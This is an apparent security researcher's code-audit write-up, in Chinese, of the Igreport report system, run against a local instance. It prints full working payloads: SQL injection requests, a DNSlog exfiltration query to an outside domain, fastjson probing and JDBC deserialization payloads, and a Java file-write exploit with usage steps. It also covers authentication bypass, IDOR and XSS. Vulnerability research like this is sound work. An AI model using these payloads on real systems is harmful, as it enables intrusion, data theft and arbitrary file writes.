Igreport报表系统代码审计

环境搭建:

LYL41011/igreport: SpringBoot+Vue 企业级 智能通用报表 调度平台 管理系统 (github.com)

代码审计:

1. 查看组件版本:

1.1 mybatis:

image-20240613112155326

当前springboot整合mybatis,mybatis版本为3.5.3,存在远程代码执行漏洞。

触发条件:

  • 用户启用了内置的二级缓存
  • 用户未设置JEP-290过滤器
  • 需要修改org.apache.ibatis.cache.impl.PerpetualCache.cache有效的缓存密钥

全局搜索有没有开启二级缓存:

1
<cache type="org.apache.ibatis.cache.impl.PerpetualCache"/> 

没有可利用的:

image-20240613113458963

MyBatis远程代码执行漏洞CVE-2020-26945 - FreeBuf网络安全行业门户

1.2 druid:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.1.17</version>
</dependency>

可以尝试druid未授权访问,然后查看是否配置了session,如果存在在线查看sessions,则可以直接使用session登录。

但是这里并没有配置druid相关设置。

1.3 mysql-connector-java:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>

image-20240613113852698

当前版本为8.0.19,刚好存在序列化(<=8.0.20)。

但是需要jdbc源可控,因此需要配合fastjson利用。

1.4 xxl-job:

1
2
3
4
5
<dependency>
<groupId>com.xuxueli</groupId>
<artifactId>xxl-job-core</artifactId>
<version>2.1.2</version>
</dependency>

xxl-job这个版本存在任意代码执行:
image-20240613114403576

1.5 fastjson:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.60</version>
</dependency>

fastjson就可以利用我们刚才说的,打jdbc。

2. sql注入:

2.1 commonReportHandler定时任务存在sql注入:

全局搜索${,并且过滤xml文件:

image-20240613105233978

就选择IgReportMapper

image-20240613110555748

<[!CDATAp[]]>在mybatis中的用法就是sql中有一些特殊的字符,在解析xml文件的时候会被转义。使用CDATA可以避免此类情况。比如包含”<”、”>”、”&”等字符,最好把他们都放到CDATA中。

注意mybatis中的<if test=""></if>、<where></where>、<choose></choose>、<trim></trim>等这些标签不能写到CDATA中。否则标签将不会被mybatis解析。

如下面的:

1
2
3
4
5
6
7
8
9
10
<select id="getNewDlpOpenCallOrder" resultType="org.apache.commons.collections.map.CaseInsensitiveMap" parameterType="map" >
<![CDATA[
select s.*
from xxx s
where s.status<5
]]>
<if test="dateBegin != null and dateEnd != null" >
<![CDATA[and s.zb_ordertime between #{dateBegin,jdbcType=TIMESTAMP} and #{dateEnd,jdbcType=TIMESTAMP}]]>
</if>
</select>

service层:

image-20240613110628151

最终xxl-job调用:

image-20240613110838965

全局搜索可以查看到xxljob执行:

image-20240617103552988

最终由updateCommonReport这个路由调用,如图所示:

image-20240617103757346

而这个函数中的param:

image-20240617104121566

就是这前端传入的commonReportDto,他最终转换成了json然后传进来了:

image-20240617104219640

报错注入:

因此这里可以使用报错注入:

1
select updatexml(1,concat(0x7e,database(),0x7e),1)

第一个值任意填,第二个值是报错结果,第三个值任意填

image-20240617104513703

或者可以使用:

1
select extractvalue(1,concat(0x7e,database()))

extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。

修改接口处修改sql:

image-20240622215709497

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/report/updateCommonReport HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 279
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: rememberMe=MNY7VeTdyZXDTkHejTtAIPjATLfuo5N8JAOswvke4rOs0hqKdTH0Vo4KLJ7F1mTVL1+DGhqF4wwVZR2z72/fo0NDQIKYkSA6s8Ym6U6r946RuKhubY6NR+hxf/IxSYzKJilp5c1x1LLWbjUbX5g/F4B2CnmnDJwxf1DCr/Cj321K6uq9lRWng9xIIr/NFug9t7dFwmzzDqt39FISbMFcnzbjMT48uKIm3J/xgXaQr+4ybSIwfzzW3eNDOsY0GoT/bB2o4dv0oBToQr19WD5HVXbZ3PQWKw7Im99Sw1OrqFDL7DaLnFDPwvyF5GD2e3wn9m2/kgiIKamLozqs/34QfKLizbAz0FHVXGhLUAmOETgSgI82LAKyee4wEVK8wWV7hT4JaoNQoRepSFK2QDzXgYTJxUCCgfkfwU4vaSFagnVUU64WWTqXScRbvIbwAsgujUu2miuimgUHg1Wfd6aKrKXrKAuiRjaE7ngeYMcxHLgYY/JDqYSAf78K+RCgsQE3; XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a223864646366663361383066343138396361316339643464393032633363393039222c22726f6c65223a302c227065726d697373696f6e223a2231227d
Connection: close

{"author":"admin","authorizedPeople":"admin","dataSource":"mysql","email":"","jobCron":"0 0 * * * ?","metaDataJson":"{\"name\":\"zhangsan\"}","reportDesc":"testt","reportFrequency":"按天","reportName":"test111","sql":"select updatexml(1,concat(0x7e,database(),0x7e),1)","id":2}

编辑好后点击执行,然后查看日志:

image-20240622222453665

查询数据库中的表:

由于当前数据库表中存在多个表,updatexml只支持32个字符,因此可以使用substring截取长度,分多次查询:

1
SELECT UPDATEXML(1, CONCAT(0x7e,(select (substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES where table_schema = database()),1,32))), 0x7e), 1);

image-20240623112155505

dnslog外带:

除了使用报错注入,还可以使用dnslog外带,但是前提是secure_file_priv为空值,并且目标主机是出网的:

1
show VARIABLES LIKE '%secure%'

image-20240623112515391

1
select load_file(concat('\\\\',(select database()),'.srhckvkttj.dgrh3.cn\\123'));

image-20240623112819265

3. fastjson:

全局搜索JSONObject或者JSON.parse()等字样:

随便找一个接口:

image-20240613114901626

3.1 尝试报错fastjson版本:

通过报错判断当前版本失败:

1
{"@type":"java.lang.AutoCloseable"

image-20240613115512539

原因的json的读取的通过jackjson,之后才调用JSONObject,而且没有调用JSONObject.parse,因此这种的是不能恶意调用fastjson的。

全局搜JSON.parse(),发现存在可控参数:

image-20240613130144605

3.2 dnslog探测:

updateCommonReport更新报表中,存在存在parse解析传入的元json数据,如图所示:

image-20240613131112876

但是做了try catch处理,因此不能通过报错探测fastjson版本,但是可以dnslog:

image-20240613131220775

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /api/report/updateCommonReport HTTP/1.1
Host: 127.0.0.1:8081
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
Referer: http://127.0.0.1:8081/
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Origin: http://127.0.0.1:8081
Sec-Fetch-Dest: empty
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a312c22757365726e616d65223a2261646d696e222c2270617373776f7264223a223864646366663361383066343138396361316339643464393032633363393039222c22726f6c65223a312c227065726d697373696f6e223a6e756c6c7d
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Fetch-Site: same-origin
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Length: 331

{
"author": "admin",
"authorizedPeople": "admin",
"dataSource": "mysql",
"email": "",
"jobCron": "0 0 * * * ?",
"metaDataJson": "{\"@type\":\"java.net.Inet4Address\",\"val\":\"thekkafatm.dgrh3.cn\"}",
"reportDesc": "test",
"reportFrequency": "按天",
"reportName": "new_test",
"sql": "select * from inteport.igreport_metadata;",
"id": 1
}

成功dnslog:

image-20240613131421425

3.3 尝试jdbc攻击(失败):

本地启动一个evil-mysql-serve,如图所示:

1
evil-mysql-server.exe -addr 3307 -ysoserial ysoserial.jar -java C:\Environment\java\8u65\jdk1.8.0_65\bin\java.exe

image-20240613135050282

具体payload,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "127.0.0.1"
}
],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"port": 3307,
"user": "yso_CommonsCollections5_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}

payload不能换行:

image-20240613140243930

失败原因:

因为缺少cc依赖,如果存在cc依赖或者cb依赖就可以打,或者其他的反序列化入口即可。

3.4 jdk11无依赖写入文件(成功):

最终找到了一个jdk11+1.2.57<=fastjson<=1.2.68的,无依赖写入文件:

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.hme;

import com.alibaba.fastjson.JSON;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import java.util.Base64;
import java.util.zip.Deflater;

public class Fastjson_WriteFile_JDK11 {
public static void main(String[] args) throws Exception {
String code = gzcompress("123456");
//php -r "echo base64_encode(gzcompress('qwerasdf'));"
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"e:/bbb.txt\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\""+code+"\",\r\n"
+ " \"limit\":12\r\n" //需对应修改
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";
System.out.println(payload);
JSON.parseObject(payload);
}
public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}
}

使用方法如下:

  1. gzcompress填入的是我们写入的内容
  2. 随后根据填入的内容修改limit,应该修改为当前输入长度的两倍
  3. 第三点就是修改file字段,修改成我们需要写入文件的地址。

注意payload不能换行:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"author": "admin",
"authorizedPeople": "admin",
"dataSource": "mysql",
"email": "",
"jobCron": "0 0 * * * ?",
"metaDataJson": "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"sun.rmi.server.MarshalOutputStream\", \"out\": {\"@type\":\"java.util.zip.InflaterOutputStream\", \"out\": {\"@type\":\"java.io.FileOutputStream\", \"file\":\"e:/bbb.txt\", \"append\":false}, \"infl\": {\"input\": {\"array\":\"eJx7snfB06V7ARBFBIk=\", \"limit\":12}\n}, \"bufLen\":1048576}, \"protocolVersion\":1}",
"reportDesc": "test",
"reportFrequency": "按天",
"reportName": "new_test",
"sql": "select * from inteport.igreport_metadata;",
"id": 1
}

成功写入文件:

image-20240613161041701

4. 越权:

4.1 绕过登录校验:

在登陆接口中随便输入密码,拦截相应包:

image-20240623172929370

登录成功:

image-20240623173010340

4.2 越权查看任意用户定时任务:

image-20240623191959272

当前接口没有做权限校验,通过获取用户名即可查询对应用户的job列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api/jobinfo/pageList HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 73
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a342c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a2231227d
Connection: close

{"status":"","jobDesc":"","userName":"admin","pageIndex":1,"pageSize":10}

将userName改成admin即可。

image-20240623192158419

4.3 越权删除任意用户任务:

当前存在的admin创建报表为6:

image-20240623201154287

当前的用户为test,尝试删除管理员的任务:

image-20240623201237513

删除成功:

image-20240623201250478

漏洞产生原因:

image-20240623201305545

前端传入的id后,没有对当前id进行校验。

5. xss:

我们查看日志中会看到,将我们的报表数据打印到日志中,因此可以推测是否存在xss?

首先判断是否存在过滤器和拦截器,全局搜索HandlerInterceptorAdapterFilter

都是权限校验的拦截器:

image-20240623193227151

首先尝试修改报表名称,发现存在校验,即只能输入英文或这是数字的,因此修改报表描述:

image-20240623192922392

点击日志后成功弹出xss:

image-20240623195715025

漏洞产生原理:

添加了任务后查看日志,会调用logDetailCat查看日志信息:

image-20240623200221097

但是没有对传入的数据进行校验,最终产生了xss。

参考:

JAVA代码审计-企业级通用报表平台-云社区-华为云 (huaweicloud.com)

LYL41011/igreport: SpringBoot+Vue 企业级 智能通用报表 调度平台 管理系统 (github.com)


Igreport报表系统代码审计
https://pow1e.github.io/2024/06/23/代码审计/Igreport报表系统代码审计/
作者
pow1e
发布于
2024年6月23日
许可协议